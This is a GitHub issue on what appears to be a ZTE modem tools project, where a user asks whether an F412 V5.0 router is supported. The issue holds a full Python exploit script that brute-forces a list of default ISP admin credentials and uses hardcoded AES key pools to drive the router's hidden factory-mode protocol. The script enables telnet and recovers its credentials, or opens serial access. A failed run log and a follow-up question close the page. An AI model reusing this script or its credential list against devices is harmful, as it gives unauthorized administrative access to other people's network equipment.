Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

F412 V5.0也不能用吗? #17

Open
daiaji opened this issue Aug 29, 2024 · 1 comment
Open

F412 V5.0也不能用吗? #17

daiaji opened this issue Aug 29, 2024 · 1 comment

Comments

@daiaji
Copy link

daiaji commented Aug 29, 2024

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import argparse
from random import Random
from Crypto.Cipher import AES


def pad(data_to_pad, block_size):
    # zero-pad, pad one byte at least

    padding_len = block_size-len(data_to_pad) % block_size
    return data_to_pad+b'\x00'*padding_len


def unpad(padded_data, block_size):
    # zero-unpad, only work for null-terminated string

    return padded_data[:-block_size] + padded_data[-block_size:].rstrip(b'\x00')


class WebFac:
    AES_KEY_POOL = [
        0x7B, 0x56, 0xB0, 0xF7, 0xDA, 0x0E, 0x68, 0x52, 0xC8, 0x19,
        0xF3, 0x2B, 0x84, 0x90, 0x79, 0xE5, 0x62, 0xF8, 0xEA, 0xD2,
        0x64, 0x93, 0x87, 0xDF, 0x73, 0xD7, 0xFB, 0xCC, 0xAA, 0xFE,
        0x75, 0x43, 0x1C, 0x29, 0xDF, 0x4C, 0x52, 0x2C, 0x6E, 0x7B,
        0x45, 0x3D, 0x1F, 0xF1, 0xDE, 0xBC, 0x27, 0x85, 0x8A, 0x45,
        0x91, 0xBE, 0x38, 0x13, 0xDE, 0x67, 0x32, 0x08, 0x54, 0x11,
        0x75, 0xF4, 0xD3, 0xB4, 0xA4, 0xB3, 0x12, 0x86, 0x67, 0x23,
        0x99, 0x4C, 0x61, 0x7F, 0xB1, 0xD2, 0x30, 0xDF, 0x47, 0xF1,
        0x76, 0x93, 0xA3, 0x8C, 0x95, 0xD3, 0x59, 0xBF, 0x87, 0x8E,
        0xF3, 0xB3, 0xE4, 0x76, 0x49, 0x88
    ]

    # newrand
    AES_KEY_POOL_NEW = [
        0x8C, 0x23, 0x65, 0xD1, 0xFC, 0x32, 0x45, 0x37, 0x11, 0x28,
        0x71, 0x63, 0x07, 0x20, 0x69, 0x14, 0x73, 0xE7, 0xD4, 0x53,
        0x13, 0x24, 0x36, 0xC2, 0xB5, 0xE1, 0xFC, 0xCF, 0x8A, 0x9A,
        0x41, 0x89, 0x3C, 0x49, 0xCF, 0x5C, 0x72, 0x8C, 0x9E, 0xEB,
        0x75, 0x0D, 0x3F, 0xD1, 0xFE, 0xCC, 0x57, 0x65, 0x7A, 0x35,
        0x21, 0x3E, 0x68, 0x53, 0x7E, 0x97, 0x02, 0x48, 0x74, 0x71,
        0x95, 0x34, 0x53, 0x84, 0xB4, 0xC3, 0xE2, 0xD6, 0x27, 0x3D,
        0xE6, 0x5D, 0x72, 0x9C, 0xBC, 0x3D, 0x03, 0xFD, 0x76, 0xC1,
        0x9C, 0x25, 0xA8, 0x92, 0x47, 0xE4, 0x18, 0x0F, 0x24, 0x3F,
        0x4F, 0x67, 0xEC, 0x97, 0xF4, 0x99
    ]

    def __init__(self, ip, port, user, pw) -> None:
        self.ip = ip
        self.port = port
        self.user = user
        self.pw = pw
        self.S = requests.Session()

    def reset(self):
        # any wrong step request should reset the facTelnetStep
        resp = self.S.post(f"http://{self.ip}:{self.port}/webFac", data='SendSq.gch')
        if resp.status_code == 400:
            return True
        return False

    def requestFactoryMode(self):
        try:
            url = f"http://{self.ip}:{self.port}/webFac"
            print(f"Sending request to enter factory mode to URL: {url}")
            resp = self.S.post(url, data='RequestFactoryMode.gch')
            print(f"Response status code: {resp.status_code}")
            print(f"Response content: {resp.text}")  # 输出响应内容
            if resp.status_code == 200:
                print("Successfully sent request for factory mode.")
            else:
                print("Failed to send request for factory mode.")
        except requests.exceptions.ConnectionError:
            print("Connection error when trying to request factory mode.")
        except Exception as e:
            print(f"Error: {e}")

    def sendSq(self):
        try:
            rand = Random().randint(0, 59)
            url = f"http://{self.ip}:{self.port}/webFac"
            print(f"Sending SendSq request with rand={rand} to URL: {url}...")
            resp = self.S.post(url, data=f'SendSq.gch?rand={rand}\r\n')
            print(f"Response status code: {resp.status_code}")
            print(f"Response content: {resp.text}")  # 输出响应内容

            if resp.status_code != 200:
                print("Failed to send SendSq request.")
                return False

            if len(resp.content) == 0:
                index = rand
                key_pool = WebFacTelnet.AES_KEY_POOL
                version = 1
            elif "newrand" in resp.text:
                newrand = int(resp.text[len("newrand="):])
                index = ((0x1000193 * rand) & 0x3F ^ newrand) % 60
                key_pool = WebFacTelnet.AES_KEY_POOL_NEW
                version = 2
            else:
                print("Protocol error: unexpected response.")
                return False

            key = map(lambda x: (x ^ 0xA5) & 0xFF, key_pool[index:index+24])
            key = bytes(key)

            self.chiper = AES.new(key, AES.MODE_ECB)
            print(f"Using key index: {index}, version: {version}")
            return version
        except requests.exceptions.ConnectionError:
            print("Connection error during SendSq.")
        except Exception as e:
            print(f"Error: {e}")
        return False

    def sendInfo(self):
        try:
            resp = self.S.post(f"http://{self.ip}:{self.port}/webFacEntry",
                               data=self.chiper.encrypt(pad(f'SendInfo.gch?info=6|'.encode(), 16)))
            # print(resp.status_code, repr(resp.text))
            if resp.status_code == 200:
                return True
            elif resp.status_code == 400:
                print("protocol error")
            elif resp.status_code == 401:
                print("info error")
        except Exception as e:
            print(e)
        return False

    def checkLoginAuth(self):
        try:
            print("Checking login authentication...")
            resp = self.S.post(
                f"http://{self.ip}:{self.port}/webFacEntry",
                data=self.chiper.encrypt(
                    pad(f'CheckLoginAuth.gch?version50&user={self.user}&pass={self.pw}'.encode(), 16)
                ))
            print(f"Response status code: {resp.status_code}")

            if resp.status_code == 200:
                ciphertext = resp.content
                if len(ciphertext) % 16:
                    ciphertext = pad(ciphertext, 16)
                url = unpad(self.chiper.decrypt(ciphertext), 16)
                return url
            elif resp.status_code == 400:
                print("Protocol error during login check.")
            elif resp.status_code == 401:
                print("User/password error during login check.")
        except requests.exceptions.ConnectionError:
            print("Connection error during login check.")
        except Exception as e:
            print(f"Error: {e}")
        return False


class WebFacSerial(WebFac):
    def __init__(self, ip, port, user, pw) -> None:
        super().__init__(ip, port, user, pw)

    def serialSlience(self, action):
        try:
            resp = self.S.post(
                f"http://{self.ip}:{self.port}/webFacEntry",
                data=self.chiper.encrypt(
                    pad(f'SerialSlience.gch?action={action}'.encode(), 16)
                ))
            # print(repr(resp.text))
            if resp.status_code == 200:
                return True
            elif resp.status_code == 400:
                print("protocol error")
        except Exception as e:
            print(e)
        return False


class WebFacTelnet(WebFac):
    def __init__(self, ip, port, user, pw) -> None:
        super().__init__(ip, port, user, pw)

    def factoryMode(self, action):
        try:
            if action == 'close':
                resp = self.S.post(
                    f"http://{self.ip}:{self.port}/webFacEntry",
                    data=self.chiper.encrypt(
                        pad(f'FactoryMode.gch?{action}'.encode(), 16)
                    ))
            else:
                # mode 1:ops 2:dev 3:production 4:user
                resp = self.S.post(
                    f"http://{self.ip}:{self.port}/webFacEntry",
                    data=self.chiper.encrypt(
                        pad('FactoryMode.gch?mode=2&user=notused'.encode(), 16)
                    ))
            # print(repr(resp.text))
            if resp.status_code == 200:
                # resp should be "FactoryModeAuth.gch?user=<telnetuser>&pass=<telnetpass>"
                url = unpad(self.chiper.decrypt(resp.content), 16)
                return url
            elif resp.status_code == 400:
                print("protocol error")
            elif resp.status_code == 401:
                print("user/pass error")
        except requests.exceptions.ConnectionError as e:
            print(e)
            print("wrong step?")
        except Exception as e:
            print(e)
        return False


def dealFacAuth(Class: WebFac, ip, port, users, pws):
    for user in users:
        for pw in pws:
            print(f"trying  user:\"{user}\" pass:\"{pw}\" ")
            webfac: WebFac = Class(ip, port, user, pw)
            print("reset facTelnetSteps:")
            if webfac.reset():
                print("reset OK!\n")

            print("facStep 1:")
            webfac.requestFactoryMode()
            print("OK!\n")

            print("facStep 2:")
            version = webfac.sendSq()
            print("OK!\n")

            if version == 1:
                print("facStep 3:")
                print("OK!\n")
                if webfac.checkLoginAuth():
                    print("facStep 4:")
                    print("OK!\n")
                    return webfac
            elif version == 2:
                print("facStep 3:")
                if not webfac.sendInfo():
                    print("sendInfo error")
                    return
                print("OK!\n")

                print("facStep 4:")
                url = webfac.checkLoginAuth()
                if not url:
                    print("try next...\n")
                    continue
                print("OK!\n")
                print(repr(url))
                return webfac
    return False


def dealSerial(ip, port, users, pws, action):
    serial = dealFacAuth(WebFacSerial, ip, port, users, pws)
    if not serial:
        return

    print("facStep 5:")
    if serial.serialSlience(action):
        print("OK!\n")
    print('done')
    return


def dealTelnet(ip, port, users, pws, action):
    telnet = dealFacAuth(WebFacTelnet, ip, port, users, pws)
    if not telnet:
        print('No Luck!')
        return

    print("facStep 5:")
    url = telnet.factoryMode(action)
    if url:
        print("OK!\n")
        print(repr(url))
        print('done')
        return


def parseArgs():
    parser = argparse.ArgumentParser(prog='zte_factroymode', epilog='https://github.com/douniwan5788/zte_modem_tools',
                                     formatter_class=argparse.ArgumentDefaultsHelpFormatter)

    parser.add_argument('--user', '-u', nargs='+', help='factorymode auth username', default=[
                        'factorymode', "CMCCAdmin", "CUAdmin", "telecomadmin", "cqadmin",
                        "user", "admin", "cuadmin", "lnadmin", "useradmin"])
    parser.add_argument('--pass', '-p', metavar='PASS', dest='pw', nargs='+', help='factorymode auth password', default=[
                        'nE%jA@5b', "aDm8H%MdA", "CUAdmin", "nE7jA%5m", "cqunicom",
                        "1620@CTCC", "1620@CUcc", "admintelecom", "cuadmin", "lnadmin"])
    parser.add_argument('--ip', help='route ip', default="192.168.1.1")
    parser.add_argument('--port', help='router http port', type=int, default=80)
    subparsers = parser.add_subparsers(dest='cmd', title='subcommands',
                                       description='valid subcommands',
                                       help='supported commands')
    telnet_parser = subparsers.add_parser("telnet", help='control telnet services on/off',
                                          formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    telnet_parser.add_argument('action', nargs="?", choices=['open', 'close'], help='action', default='open')
    serial_parser = subparsers.add_parser("serial", help='control /proc/serial on/off',
                                          formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    serial_parser.add_argument('action', nargs="?", choices=['open', 'close'], help='action', default='open')
    return parser.parse_args()


def main():
    args = parseArgs()
    # print(args)
    if args.cmd == 'serial':
        dealSerial(args.ip, args.port, args.user, args.pw, args.action)
    elif args.cmd == 'telnet':
        dealTelnet(args.ip, args.port, args.user, args.pw, args.action)


if __name__ == '__main__':
    main()
python3 zte_factroymode.py --user "telecomadmin" --pass "nE7jA%5m" --ip 192.168.1.1 --port 80 telnet open
trying  user:"telecomadmin" pass:"nE7jA%5m" 
reset facTelnetSteps:
facStep 1:
Sending request to enter factory mode to URL: http://192.168.1.1:80/webFac
Response status code: 404
Response content:                                               <HTML>
                                              <HEAD><TITLE>404 Not Found</TITLE></HEAD>
                                              <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc">
                                              <H2>404 Not Found</H2>
The requested URL '/webFac' was not found on this server.
                                          <HR>
                                          <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS>
                                          </BODY>
                                          </HTML>

Failed to send request for factory mode.
OK!

facStep 2:
Sending SendSq request with rand=46 to URL: http://192.168.1.1:80/webFac...
Response status code: 404
Response content:                                               <HTML>
                                              <HEAD><TITLE>404 Not Found</TITLE></HEAD>
                                              <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc">
                                              <H2>404 Not Found</H2>
The requested URL '/webFac' was not found on this server.
                                          <HR>
                                          <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS>
                                          </BODY>
                                          </HTML>

Failed to send SendSq request.
OK!

No Luck!

总之就是报错了。

@HawK40x
Copy link

HawK40x commented Oct 4, 2024

Did you find any solution for it?
你找到解决办法了吗?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants